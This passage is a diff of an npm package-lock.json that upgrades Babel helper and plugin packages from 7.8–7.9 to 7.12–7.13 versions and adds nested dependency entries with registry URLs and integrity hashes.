"^7.12.13" + }, + "dependencies": { + "@babel/helper-validator-identifier": { + "version": "7.12.11", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", + "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "dev": true + }, + "@babel/types": { + "version": "7.13.14", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", + "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "lodash": "^4.17.19", + "to-fast-properties": "^2.0.0" + } + } } }, "@babel/helper-plugin-utils": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.8.3.tgz", - "integrity": "sha512-j+fq49Xds2smCUNYmEHF9kGNkhbet6yVIBp4e6oeQpH1RUs/Ir06xUKzDjDkGcaaokPiTNs2JBWHjaE4csUkZQ==", + "version": "7.13.0", + "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.13.0.tgz", + "integrity": "sha512-ZPafIPSwzUlAoWT8DKs1W2VyF2gOWthGd5NGFMsBcMMol+ZhK+EQY/e6V96poa6PA/Bh+C9plWN0hXO1uB8AfQ==", "dev": true }, - "@babel/helper-regex": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/helper-regex/-/helper-regex-7.8.3.tgz", - "integrity": "sha512-BWt0QtYv/cg/NecOAZMdcn/waj/5P26DR4mVLXfFtDokSR6fyuG0Pj+e2FqtSME+MqED1khnSMulkmGl8qWiUQ==", + "@babel/helper-remap-async-to-generator": { + "version": "7.13.0", + "resolved": "https://registry.npmjs.org/@babel/helper-remap-async-to-generator/-/helper-remap-async-to-generator-7.13.0.tgz", + "integrity": "sha512-pUQpFBE9JvC9lrQbpX0TmeNIy5s7GnZjna2lhhcHC7DzgBs6fWn722Y5cfwgrtrqc7NAJwMvOa0mKhq6XaE4jg==", "dev": true, "requires": { - "lodash": "^4.17.13" + "@babel/helper-annotate-as-pure": "^7.12.13", + "@babel/helper-wrap-function": "^7.13.0", + "@babel/types": "^7.13.0" + }, + "dependencies": { + "@babel/helper-validator-identifier": { + "version": "7.12.11", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", + "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "dev": true + }, + "@babel/types": { + "version": "7.13.14", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", + "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "lodash": "^4.17.19", + "to-fast-properties": "^2.0.0" + } + } } }, - "@babel/helper-remap-async-to-generator": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/helper-remap-async-to-generator/-/helper-remap-async-to-generator-7.8.3.tgz", - "integrity": "sha512-kgwDmw4fCg7AVgS4DukQR/roGp+jP+XluJE5hsRZwxCYGg+Rv9wSGErDWhlI90FODdYfd4xG4AQRiMDjjN0GzA==", + "@babel/helper-replace-supers": { + "version": "7.13.12", + "resolved": "https://registry.npmjs.org/@babel/helper-replace-supers/-/helper-replace-supers-7.13.12.tgz", + "integrity": "sha512-Gz1eiX+4yDO8mT+heB94aLVNCL+rbuT2xy4YfyNqu8F+OI6vMvJK891qGBTqL9Uc8wxEvRW92Id6G7sDen3fFw==", "dev": true, "requires": { - "@babel/helper-annotate-as-pure": "^7.8.3", - "@babel/helper-wrap-function": "^7.8.3", - "@babel/template": "^7.8.3", - "@babel/traverse": "^7.8.3", - "@babel/types": "^7.8.3" + "@babel/helper-member-expression-to-functions": "^7.13.12", + "@babel/helper-optimise-call-expression": "^7.12.13", + "@babel/traverse": "^7.13.0", + "@babel/types": "^7.13.12" + }, + "dependencies": { + "@babel/code-frame": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.12.13.tgz", + "integrity": "sha512-HV1Cm0Q3ZrpCR93tkWOYiuYIgLxZXZFVG2VgK+MBWjUqZTundupbfx2aXarXuw5Ko5aMcjtJgbSs4vUGBS5v6g==", + "dev": true, + "requires": { + "@babel/highlight": "^7.12.13" + } + }, + "@babel/generator": { + "version": "7.13.9", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.13.9.tgz", + "integrity": "sha512-mHOOmY0Axl/JCTkxTU6Lf5sWOg/v8nUa+Xkt4zMTftX0wqmb6Sh7J8gvcehBw7q0AhrhAR+FDacKjCZ2X8K+Sw==", + "dev": true, + "requires": { + "@babel/types": "^7.13.0", + "jsesc": "^2.5.1", + "source-map": "^0.5.0" + } + }, + "@babel/helper-function-name": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.12.13.tgz", + "integrity": "sha512-TZvmPn0UOqmvi5G4vvw0qZTpVptGkB1GL61R6lKvrSdIxGm5Pky7Q3fpKiIkQCAtRCBUwB0PaThlx9vebCDSwA==", + "dev": true, + "requires": { + "@babel/helper-get-function-arity": "^7.12.13", + "@babel/template": "^7.12.13", + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-get-function-arity": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.12.13.tgz", + "integrity": "sha512-DjEVzQNz5LICkzN0REdpD5prGoidvbdYk1BVgRUOINaWJP2t6avB27X1guXK1kXNrX0WMfsrm1A/ZBthYuIMQg==", + "dev": true, + "requires": { + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-split-export-declaration": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.12.13.tgz", + "integrity": "sha512-tCJDltF83htUtXx5NLcaDqRmknv652ZWCHyoTETf1CXYJdPC7nohZohjUgieXhv0hTJdRf2FjDueFehdNucpzg==", + "dev": true, + "requires": { + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-validator-identifier": { + "version": "7.12.11", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", + "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "dev": true + }, + "@babel/highlight": { + "version": "7.13.10", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.13.10.tgz", + "integrity": "sha512-5aPpe5XQPzflQrFwL1/QoeHkP2MsA4JCntcXHRhEsdsfPVkvPi2w7Qix4iV7t5S/oC9OodGrggd8aco1g3SZFg==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "chalk": "^2.0.0", + "js-tokens": "^4.0.0" + } + }, + "@babel/parser": { + "version": "7.13.15", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.13.15.tgz", + "integrity": "sha512-b9COtcAlVEQljy/9fbcMHpG+UIW9ReF+gpaxDHTlZd0c6/UU9ng8zdySAW9sRTzpvcdCHn6bUcbuYUgGzLAWVQ==", + "dev": true + }, + "@babel/template": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.12.13.tgz", + "integrity": "sha512-/7xxiGA57xMo/P2GVvdEumr8ONhFOhfgq2ihK3h1e6THqzTAkHbkXgB0xI9yeTfIUoH3+oAeHhqm/I43OTbbjA==", + "dev": true, + "requires": { + "@babel/code-frame": "^7.12.13", + "@babel/parser": "^7.12.13", + "@babel/types": "^7.12.13" + } + }, + "@babel/traverse": { + "version": "7.13.15", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.13.15.tgz", + "integrity": "sha512-/mpZMNvj6bce59Qzl09fHEs8Bt8NnpEDQYleHUPZQ3wXUMvXi+HJPLars68oAbmp839fGoOkv2pSL2z9ajCIaQ==", + "dev": true, + "requires": { + "@babel/code-frame": "^7.12.13", + "@babel/generator": "^7.13.9", + "@babel/helper-function-name": "^7.12.13", + "@babel/helper-split-export-declaration": "^7.12.13", + "@babel/parser": "^7.13.15", + "@babel/types": "^7.13.14", + "debug": "^4.1.0", + "globals": "^11.1.0" + } + }, + "@babel/types": { + "version": "7.13.14", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", + "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "lodash": "^4.17.19", + "to-fast-properties": "^2.0.0" + } + }, + "debug": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "dev": true, + "requires": { + "ms": "2.1.2" + } + }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true + } } }, - "@babel/helper-replace-supers": { - "version": "7.9.6", - "resolved": "https://registry.npmjs.org/@babel/helper-replace-supers/-/helper-replace-supers-7.9.6.tgz", - "integrity": "sha512-qX+chbxkbArLyCImk3bWV+jB5gTNU/rsze+JlcF6Nf8tVTigPJSI1o1oBow/9Resa1yehUO9lIipsmu9oG4RzA==", + "@babel/helper-simple-access": { + "version": "7.13.12", + "resolved": "https://registry.npmjs.org/@babel/helper-simple-access/-/helper-simple-access-7.13.12.tgz", + "integrity": "sha512-7FEjbrx5SL9cWvXioDbnlYTppcZGuCY6ow3/D5vMggb2Ywgu4dMrpTJX0JdQAIcRRUElOIxF3yEooa9gUb9ZbA==", "dev": true, "requires": { - "@babel/helper-member-expression-to-functions": "^7.8.3", - "@babel/helper-optimise-call-expression": "^7.8.3", - "@babel/traverse": "^7.9.6", - "@babel/types": "^7.9.6" + "@babel/types": "^7.13.12" + }, + "dependencies": { + "@babel/helper-validator-identifier": { + "version": "7.12.11", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", + "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "dev": true + }, + "@babel/types": { + "version": "7.13.14", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", + "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "lodash": "^4.17.19", + "to-fast-properties": "^2.0.0" + } + } } }, - "@babel/helper-simple-access": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/helper-simple-access/-/helper-simple-access-7.8.3.tgz", - "integrity": "sha512-VNGUDjx5cCWg4vvCTR8qQ7YJYZ+HBjxOgXEl7ounz+4Sn7+LMD3CFrCTEU6/qXKbA2nKg21CwhhBzO0RpRbdCw==", + "@babel/helper-skip-transparent-expression-wrappers": { + "version": "7.12.1", + "resolved": "https://registry.npmjs.org/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.12.1.tgz", + "integrity": "sha512-Mf5AUuhG1/OCChOJ/HcADmvcHM42WJockombn8ATJG3OnyiSxBK/Mm5x78BQWvmtXZKHgbjdGL2kin/HOLlZGA==", "dev": true, "requires": { - "@babel/template": "^7.8.3", - "@babel/types": "^7.8.3" + "@babel/types": "^7.12.1" + }, + "dependencies": { + "@babel/helper-validator-identifier": { + "version": "7.12.11", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", + "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "dev": true + }, + "@babel/types": { + "version": "7.13.14", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", + "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "lodash": "^4.17.19", + "to-fast-properties": "^2.0.0" + } + } } }, "@babel/helper-split-export-declaration": { @@ -351,27 +1327,287 @@ "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.9.5.tgz", "integrity": "sha512-/8arLKUFq882w4tWGj9JYzRpAlZgiWUJ+dtteNTDqrRBz9Iguck9Rn3ykuBDoUwh2TO4tSAJlrxDUOXWklJe4g==" }, + "@babel/helper-validator-option": { + "version": "7.12.17", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.12.17.tgz", + "integrity": "sha512-TopkMDmLzq8ngChwRlyjR6raKD6gMSae4JdYDB8bByKreQgG0RBTuKe9LRxW3wFtUnjxOPRKBDwEH6Mg5KeDfw==", + "dev": true + }, "@babel/helper-wrap-function": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/helper-wrap-function/-/helper-wrap-function-7.8.3.tgz", - "integrity": "sha512-LACJrbUET9cQDzb6kG7EeD7+7doC3JNvUgTEQOx2qaO1fKlzE/Bf05qs9w1oXQMmXlPO65lC3Tq9S6gZpTErEQ==", + "version": "7.13.0", + "resolved": "https://registry.npmjs.org/@babel/helper-wrap-function/-/helper-wrap-function-7.13.0.tgz", + "integrity": "sha512-1UX9F7K3BS42fI6qd2A4BjKzgGjToscyZTdp1DjknHLCIvpgne6918io+aL5LXFcER/8QWiwpoY902pVEqgTXA==", "dev": true, "requires": { - "@babel/helper-function-name": "^7.8.3", - "@babel/template": "^7.8.3", - "@babel/traverse": "^7.8.3", - "@babel/types": "^7.8.3" + "@babel/helper-function-name": "^7.12.13", + "@babel/template": "^7.12.13", + "@babel/traverse": "^7.13.0", + "@babel/types": "^7.13.0" + }, + "dependencies": { + "@babel/code-frame": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.12.13.tgz", + "integrity": "sha512-HV1Cm0Q3ZrpCR93tkWOYiuYIgLxZXZFVG2VgK+MBWjUqZTundupbfx2aXarXuw5Ko5aMcjtJgbSs4vUGBS5v6g==", + "dev": true, + "requires": { + "@babel/highlight": "^7.12.13" + } + }, + "@babel/generator": { + "version": "7.13.9", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.13.9.tgz", + "integrity": "sha512-mHOOmY0Axl/JCTkxTU6Lf5sWOg/v8nUa+Xkt4zMTftX0wqmb6Sh7J8gvcehBw7q0AhrhAR+FDacKjCZ2X8K+Sw==", + "dev": true, + "requires": { + "@babel/types": "^7.13.0", + "jsesc": "^2.5.1", + "source-map": "^0.5.0" + } + }, + "@babel/helper-function-name": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.12.13.tgz", + "integrity": "sha512-TZvmPn0UOqmvi5G4vvw0qZTpVptGkB1GL61R6lKvrSdIxGm5Pky7Q3fpKiIkQCAtRCBUwB0PaThlx9vebCDSwA==", + "dev": true, + "requires": { + "@babel/helper-get-function-arity": "^7.12.13", + "@babel/template": "^7.12.13", + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-get-function-arity": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.12.13.tgz", + "integrity": "sha512-DjEVzQNz5LICkzN0REdpD5prGoidvbdYk1BVgRUOINaWJP2t6avB27X1guXK1kXNrX0WMfsrm1A/ZBthYuIMQg==", + "dev": true, + "requires": { + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-split-export-declaration": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.12.13.tgz", + "integrity": "sha512-tCJDltF83htUtXx5NLcaDqRmknv652ZWCHyoTETf1CXYJdPC7nohZohjUgieXhv0hTJdRf2FjDueFehdNucpzg==", + "dev": true, + "requires": { + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-validator-identifier": { + "version": "7.12.11", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", + "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "dev": true + }, + "@babel/highlight": { + "version": "7.13.10", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.13.10.tgz", + "integrity": "sha512-5aPpe5XQPzflQrFwL1/QoeHkP2MsA4JCntcXHRhEsdsfPVkvPi2w7Qix4iV7t5S/oC9OodGrggd8aco1g3SZFg==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "chalk": "^2.0.0", + "js-tokens": "^4.0.0" + } + }, + "@babel/parser": { + "version": "7.13.15", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.13.15.tgz", + "integrity": "sha512-b9COtcAlVEQljy/9fbcMHpG+UIW9ReF+gpaxDHTlZd0c6/UU9ng8zdySAW9sRTzpvcdCHn6bUcbuYUgGzLAWVQ==", + "dev": true + }, + "@babel/template": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.12.13.tgz", + "integrity": "sha512-/7xxiGA57xMo/P2GVvdEumr8ONhFOhfgq2ihK3h1e6THqzTAkHbkXgB0xI9yeTfIUoH3+oAeHhqm/I43OTbbjA==", + "dev": true, + "requires": { + "@babel/code-frame": "^7.12.13", + "@babel/parser": "^7.12.13", + "@babel/types": "^7.12.13" + } + }, + "@babel/traverse": { + "version": "7.13.15", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.13.15.tgz", + "integrity": "sha512-/mpZMNvj6bce59Qzl09fHEs8Bt8NnpEDQYleHUPZQ3wXUMvXi+HJPLars68oAbmp839fGoOkv2pSL2z9ajCIaQ==", + "dev": true, + "requires": { + "@babel/code-frame": "^7.12.13", + "@babel/generator": "^7.13.9", + "@babel/helper-function-name": "^7.12.13", + "@babel/helper-split-export-declaration": "^7.12.13", + "@babel/parser": "^7.13.15", + "@babel/types": "^7.13.14", + "debug": "^4.1.0", + "globals": "^11.1.0" + } + }, + "@babel/types": { + "version": "7.13.14", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", + "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "lodash": "^4.17.19", + "to-fast-properties": "^2.0.0" + } + }, + "debug": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "dev": true, + "requires": { + "ms": "2.1.2" + } + }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true + } } }, "@babel/helpers": { - "version": "7.9.6", - "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.9.6.tgz", - "integrity": "sha512-tI4bUbldloLcHWoRUMAj4g1bF313M/o6fBKhIsb3QnGVPwRm9JsNf/gqMkQ7zjqReABiffPV6RWj7hEglID5Iw==", + "version": "7.13.10", + "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.13.10.tgz", + "integrity": "sha512-4VO883+MWPDUVRF3PhiLBUFHoX/bsLTGFpFK/HqvvfBZz2D57u9XzPVNFVBTc0PW/CWR9BXTOKt8NF4DInUHcQ==", "dev": true, "requires": { - "@babel/template": "^7.8.3", - "@babel/traverse": "^7.9.6", - "@babel/types": "^7.9.6" + "@babel/template": "^7.12.13", + "@babel/traverse": "^7.13.0", + "@babel/types": "^7.13.0" + }, + "dependencies": { + "@babel/code-frame": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.12.13.tgz", + "integrity": "sha512-HV1Cm0Q3ZrpCR93tkWOYiuYIgLxZXZFVG2VgK+MBWjUqZTundupbfx2aXarXuw5Ko5aMcjtJgbSs4vUGBS5v6g==", + "dev": true, + "requires": { + "@babel/highlight": "^7.12.13" + } + }, + "@babel/generator": { + "version": "7.13.9", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.13.9.tgz", + "integrity": "sha512-mHOOmY0Axl/JCTkxTU6Lf5sWOg/v8nUa+Xkt4zMTftX0wqmb6Sh7J8gvcehBw7q0AhrhAR+FDacKjCZ2X8K+Sw==", + "dev": true, + "requires": { + "@babel/types": "^7.13.0", + "jsesc": "^2.5.1", + "source-map": "^0.5.0" + } + }, + "@babel/helper-function-name": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.12.13.tgz", + "integrity": "sha512-TZvmPn0UOqmvi5G4vvw0qZTpVptGkB1GL61R6lKvrSdIxGm5Pky7Q3fpKiIkQCAtRCBUwB0PaThlx9vebCDSwA==", + "dev": true, + "requires": { + "@babel/helper-get-function-arity": "^7.12.13", + "@babel/template": "^7.12.13", + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-get-function-arity": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.12.13.tgz", + "integrity": "sha512-DjEVzQNz5LICkzN0REdpD5prGoidvbdYk1BVgRUOINaWJP2t6avB27X1guXK1kXNrX0WMfsrm1A/ZBthYuIMQg==", + "dev": true, + "requires": { + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-split-export-declaration": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.12.13.tgz", + "integrity": "sha512-tCJDltF83htUtXx5NLcaDqRmknv652ZWCHyoTETf1CXYJdPC7nohZohjUgieXhv0hTJdRf2FjDueFehdNucpzg==", + "dev": true, + "requires": { + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-validator-identifier": { + "version": "7.12.11", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", + "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "dev": true + }, + "@babel/highlight": { + "version": "7.13.10", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.13.10.tgz", + "integrity": "sha512-5aPpe5XQPzflQrFwL1/QoeHkP2MsA4JCntcXHRhEsdsfPVkvPi2w7Qix4iV7t5S/oC9OodGrggd8aco1g3SZFg==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "chalk": "^2.0.0", + "js-tokens": "^4.0.0" + } + }, + "@babel/parser": { + "version": "7.13.15", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.13.15.tgz", + "integrity": "sha512-b9COtcAlVEQljy/9fbcMHpG+UIW9ReF+gpaxDHTlZd0c6/UU9ng8zdySAW9sRTzpvcdCHn6bUcbuYUgGzLAWVQ==", + "dev": true + }, + "@babel/template": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.12.13.tgz", + "integrity": "sha512-/7xxiGA57xMo/P2GVvdEumr8ONhFOhfgq2ihK3h1e6THqzTAkHbkXgB0xI9yeTfIUoH3+oAeHhqm/I43OTbbjA==", + "dev": true, + "requires": { + "@babel/code-frame": "^7.12.13", + "@babel/parser": "^7.12.13", + "@babel/types": "^7.12.13" + } + }, + "@babel/traverse": { + "version": "7.13.15", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.13.15.tgz", + "integrity": "sha512-/mpZMNvj6bce59Qzl09fHEs8Bt8NnpEDQYleHUPZQ3wXUMvXi+HJPLars68oAbmp839fGoOkv2pSL2z9ajCIaQ==", + "dev": true, + "requires": { + "@babel/code-frame": "^7.12.13", + "@babel/generator": "^7.13.9", + "@babel/helper-function-name": "^7.12.13", + "@babel/helper-split-export-declaration": "^7.12.13", + "@babel/parser": "^7.13.15", + "@babel/types": "^7.13.14", + "debug": "^4.1.0", + "globals": "^11.1.0" + } + }, + "@babel/types": { + "version": "7.13.14", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", + "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "lodash": "^4.17.19", + "to-fast-properties": "^2.0.0" + } + }, + "debug": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "dev": true, + "requires": { + "ms": "2.1.2" + } + }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true + } } }, "@babel/highlight": { @@ -390,106 +1626,150 @@ "integrity": "sha512-AoeIEJn8vt+d/6+PXDRPaksYhnlbMIiejioBZvvMQsOjW/JYK6k/0dKnvvP3EhK5GfMBWDPtrxRtegWdAcdq9Q==", "dev": true }, + "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": { + "version": "7.13.12", + "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/-/plugin-bugfix-v8-spread-parameters-in-optional-chaining-7.13.12.tgz", + "integrity": "sha512-d0u3zWKcoZf379fOeJdr1a5WPDny4aOFZ6hlfKivgK0LY7ZxNfoaHL2fWwdGtHyVvra38FC+HVYkO+byfSA8AQ==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/helper-skip-transparent-expression-wrappers": "^7.12.1", + "@babel/plugin-proposal-optional-chaining": "^7.13.12" + } + }, "@babel/plugin-proposal-async-generator-functions": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-async-generator-functions/-/plugin-proposal-async-generator-functions-7.8.3.tgz", - "integrity": "sha512-NZ9zLv848JsV3hs8ryEh7Uaz/0KsmPLqv0+PdkDJL1cJy0K4kOCFa8zc1E3mp+RHPQcpdfb/6GovEsW4VDrOMw==", + "version": "7.13.15", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-async-generator-functions/-/plugin-proposal-async-generator-functions-7.13.15.tgz", + "integrity": "sha512-VapibkWzFeoa6ubXy/NgV5U2U4MVnUlvnx6wo1XhlsaTrLYWE0UFpDQsVrmn22q5CzeloqJ8gEMHSKxuee6ZdA==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3", - "@babel/helper-remap-async-to-generator": "^7.8.3", - "@babel/plugin-syntax-async-generators": "^7.8.0" + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/helper-remap-async-to-generator": "^7.13.0", + "@babel/plugin-syntax-async-generators": "^7.8.4" } }, "@babel/plugin-proposal-class-properties": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-class-properties/-/plugin-proposal-class-properties-7.8.3.tgz", - "integrity": "sha512-EqFhbo7IosdgPgZggHaNObkmO1kNUe3slaKu54d5OWvy+p9QIKOzK1GAEpAIsZtWVtPXUHSMcT4smvDrCfY4AA==", + "version": "7.13.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-class-properties/-/plugin-proposal-class-properties-7.13.0.tgz", + "integrity": "sha512-KnTDjFNC1g+45ka0myZNvSBFLhNCLN+GeGYLDEA8Oq7MZ6yMgfLoIRh86GRT0FjtJhZw8JyUskP9uvj5pHM9Zg==", "dev": true, "requires": { - "@babel/helper-create-class-features-plugin": "^7.8.3", - "@babel/helper-plugin-utils": "^7.8.3" + "@babel/helper-create-class-features-plugin": 